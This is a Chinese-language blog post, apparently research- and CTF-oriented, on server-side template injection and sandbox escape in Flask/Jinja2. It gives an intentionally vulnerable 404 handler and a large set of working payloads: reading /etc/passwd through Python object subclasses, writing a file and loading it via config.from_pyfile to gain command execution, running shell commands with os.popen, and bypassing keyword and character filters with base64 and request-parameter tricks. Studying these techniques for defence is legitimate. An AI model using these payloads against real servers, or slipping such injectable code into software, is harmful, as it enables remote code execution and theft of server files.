基于flask SSTI沙箱逃逸研究

前言

pythonweb出现的最近出现的问题大多都是沙盒逃逸、SSTI模板注入、反序列化的问题,对于Django来说,模板页面的传参对xss和csrf的过滤已近非常好了,但是Django的最大问题就是慢,flask相对好一点,输入轻量型的,许多模块都需要自己写,这就造成了一些漏洞的产生

SSTI模板注入

首先看一段代码

#_*_coding:utf-8_*_
# _Author : Christa
# Date :2018/11/11 15:34
# FileName : flask_ssti_test.py
from flask import Flask,render_template_string,request
app = Flask(__name__)
app.debug = False
app.sercret_key = 'christa'
@app.route('/')
def index():
    return 'christa'

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%%extends "layout.html"%%}
    {%%block body%%}
    <div style = "color:#977FFE;text_aline:center;">
    <h1>page not found!</h1>
    <h3>%s</h3>
    </div>
    {%%endblock%%}
    '''%(request.url)
    return render_template_string(template),404

if __name__ == '__main__':
    app.run('0.0.0.0',port=9001)

改模板为一个普通的404模板,访问错误即显示

普通的404页面,但输入{{4*4}}时,显示

同时也存在self-xss漏洞

在config对象内,虽然config对象是类字典,它是一个包含若干独特的方法子类:from_envvarfrom_objectfrom_pyfile,和root_path。对flask/config.py中的函数

def from_object(self, obj):
        """Updates the values from the given object.  An object can be of one
        of the following two types:

        -   a string: in this case the object with that name will be imported
        -   an actual object reference: that object is used directly

        Objects are usually either modules or classes. :meth:`from_object`
        loads only the uppercase attributes of the module/class. A ``dict``
        object will not work with :meth:`from_object` because the keys of a
        ``dict`` are not attributes of the ``dict`` class.

        Example of module-based configuration::

            app.config.from_object('yourapplication.default_config')
            from yourapplication import default_config
            app.config.from_object(default_config)

        You should not use this function to load the actual configuration but
        rather configuration defaults.  The actual config should be loaded
        with :meth:`from_pyfile` and ideally from a location not within the
        package because the package might be installed system wide.

        See :ref:`config-dev-prod` for an example of class-based configuration
        using :meth:`from_object`.

        :param obj: an import name or object
        """
        if isinstance(obj, string_types):
            obj = import_string(obj)
        for key in dir(obj):
            if key.isupper():
                self[key] = getattr(obj, key)

当将一个字符串传递给该from_object方法,它会将该字符串传递给模块中的import_string方法,该werkzeug/utils.py模块尝试从名称匹配的路径中导入任何内容并将其返回。

def import_string(import_name, silent=False):
    """Imports an object based on a string.  This is useful if you want to
    use import paths as endpoints or something similar.  An import path can
    be specified either in dotted notation (``xml.sax.saxutils.escape``)
    or with a colon as object delimiter (``xml.sax.saxutils:escape``).

    If `silent` is True the return value will be `None` if the import fails.

    :param import_name: the dotted name for the object to import.
    :param silent: if set to `True` import errors are ignored and
                   `None` is returned instead.
    :return: imported object
    """
    # force the import name to automatically convert to strings
    # __import__ is not able to handle unicode strings in the fromlist
    # if the module is a package
    import_name = str(import_name).replace(':', '.')
    try:
        try:
            __import__(import_name)
        except ImportError:
            if '.' not in import_name:
                raise
        else:
            return sys.modules[import_name]

        module_name, obj_name = import_name.rsplit('.', 1)
        try:
            module = __import__(module_name, None, None, [obj_name])
        except ImportError:
            # support importing modules not yet set up by the parent module
            # (or package for that matter)
            module = import_string(module_name)

        try:
            return getattr(module, obj_name)
        except AttributeError as e:
            raise ImportError(e)

    except ImportError as e:
        if not silent:
            reraise(
                ImportStringError,
                ImportStringError(import_name, e),
                sys.exc_info()[2])

from_object然后,该方法将新加载的模块的所有属性添加到config对象,该模块的变量名称全部为大写。有趣的是,添加到config对象的属性保持其类型,这意味着config可以通过config对象从模板上下文调用添加到对象的函数,通过注入{{config.items()}}来检验

基本函数

''是一个空白的str,__mro__即method resolution order,主要用于在多继承时判断调的属性的路径(来自于哪个类)。比如如下官网的例子

class D(object):pass
class E(object):pass
class F(object):pass
class C(D, F):pass
class B(E, D):pass
class A(B, C):pass
if __name__ == '__main__':
    print A.__mro__

得到结果:

(<class '__main__.A'>, <class '__main__.B'>, <class '__main__.E'>, <class '__main__.C'>, <class '__main__.D'>, <class '__main__.F'>, <type 'object'>)

使用__mro__用于访问对象的继承类的属性,同时使用__subclasses__()获取所有子集的结合,构造payload将所有的类别全部打印出来

''.__class__.__mro__[-1].__subclasses__()

在flask上面同样会显示所有种类的类型

在python2的环境中可以使用如下代码读取任意文件

().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()

导入模块

在linux系统中Python 的os 模块的路径一般都是在/usr/lib/python2.7/os.py中,可以使用 如下的模块导入

sys模块

sys.modules['os']='/usr/lib/python2.7/os.py'

timeit

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

eval

eval('__import__("os").system("dir")')

platform

import platform
print platform.popen('dir').read()

input函数

input: import('os').system('ls')

map函数

map(os.system,['ls'])

execfile函数

execfile('/usr/lib/python2.7/os.py')  system('ls')

exec函数

exec("__import__('os').system('ls')")

都可以打印出当前的目录文件。但是,正常的 Python 沙箱会以黑名单的形式禁止使用一些模块如 os 或以白名单的形式只允许用户使用沙箱提供的模块,用以阻止用户的危险操作。一下为一些常见的绕过沙箱的操作

__builtin__

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

__builtin__在为内置函数包含了许多的,但是在python3__builtin__为需要人工引入了,首先使用base64加密绕过明文检测

>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='

 

通过dict去引用

>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))

同时,只需要删除__builtin__模块就能够防止此类问题  

del __builtins__

reload

reload会重新加载已加载的模块,但原来已经使用的实例还是会使用旧的模块,而产生的实例会使用新的模块;reload后还是用原来的地址;reload 不支持from xxx import xxx格式的模块继续重新加载。在python3中把 reload 内置函数移到了 imp 标准库模块中。它仍然像以前一样重载文件,但是,必须导入它才能使用。

from imp import reload
reload(module)

import imp
imp.reload(module)

同时在flask/config.py文件当中

def from_pyfile(self, filename, silent=False):
        """Updates the values in the config from a Python file.  This function
        behaves as if the file was imported as module with the
        :meth:`from_object` function.

        :param filename: the filename of the config.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to ``True`` if you want silent failure for missing
                       files.

        .. versionadded:: 0.7
           `silent` parameter.
        """
        filename = os.path.join(self.root_path, filename)
        d = types.ModuleType('config')
        d.__file__ = filename
        try:
            with open(filename, mode='rb') as config_file:
                exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            if silent and e.errno in (
                errno.ENOENT, errno.EISDIR, errno.ENOTDIR
            ):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True

我们可以通过SSTI漏洞调用from_pyfile方法来编译文件并执行内容。我们可以通过使用上述file类不仅读取文件,而且将它写入目标服务器可以写的位置。让我们将from_pyfile用于其预期的目的,并添加对config 对象有用的东西。注入''进入SSTI漏洞,会将一个文件写入远程服务器,在编译时,它会导入模块的check_output方法subprocess并将其设置为一个名为的变量RUNCMD,他将会被添加到FLASK中的config 对象中,因为他是一个具有大写名称的属性。

查过资料后,网上的payload为

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/cmd', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

但是写入之后使用{{config.from_pyfile('/tmp/cmd')}}则保存,保存内容为

  from subprocess import check_output/n/nRUNCMD = check_output/n
                                       ^
SyntaxError: invalid syntax

可见flask中将传入的'\'转化为了'/',因此使用python一句话的项目,推荐onelinerizer项目,可以将所有的python转化为一句话的pytohn语句,转化之后的payload为

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/cmd', 'w').write("(lambda __g: (lambda __mod: [[None for __g['RUNCMD'] in [(check_output)]][0] for __g['check_output'] in [(__mod.check_output)]][0])(__import__('subprocess', __g, __g, ('check_output',), 0)))(globals())") }}

再进行{{config.from_pyfile('/tmp/cmd')}}

显示写入成功,既可以执行远程执行漏洞

{{config['RUNCMD']('ifconfig',shell=True)}}

同时附上一个global方式的命令执行

{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen("ifconfig").read()}}

SSTI一些逃逸的方法

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )}}

当禁止''.__class__.__mro__等字符串时,使用

http://192.168.0.109:9001/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/etc/passwd').read() }}?a=__class__&b=__mro__&c=__subclasses__

 

 

或者将get转化为post传递

http://192.168.0.109:9001/{{''[request.values.a][request.values.b][2][request.values.c]()[40]('/etc/passwd').read() }}

POST:a=__class__&b=__mro__&c=__subclasses__

 

 

一些对python flask SSTI的一些浅析,但是所有的研究都为python2.x为基础上的研究,一个python3的基础payload为

Windows:

  • [].__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')

  • [].__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['__import__']("os").system("ls")
  • [].__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['__import__']("os").popen('whoami').read()
  • [].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['__import__']("os").popen('whoami').read()
  • {% for c in ''.__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__.get('__builtins__').get('__import__')("os").popen('whoami').read() }}{% endif %}{% endfor %}

# 在过滤了[]的情况下使用

Linux:

  • [].__class__.__base__.__subclasses__()[155].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
  • [].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['__import__']("os").popen('whoami').read()
  • ().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()

Reference

  1. https://xz.aliyun.com/t/52
  2. https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii.html
  3. https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
  4. https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
  5. https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8
  6. https://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/
  7. http://120.79.189.7/?p=409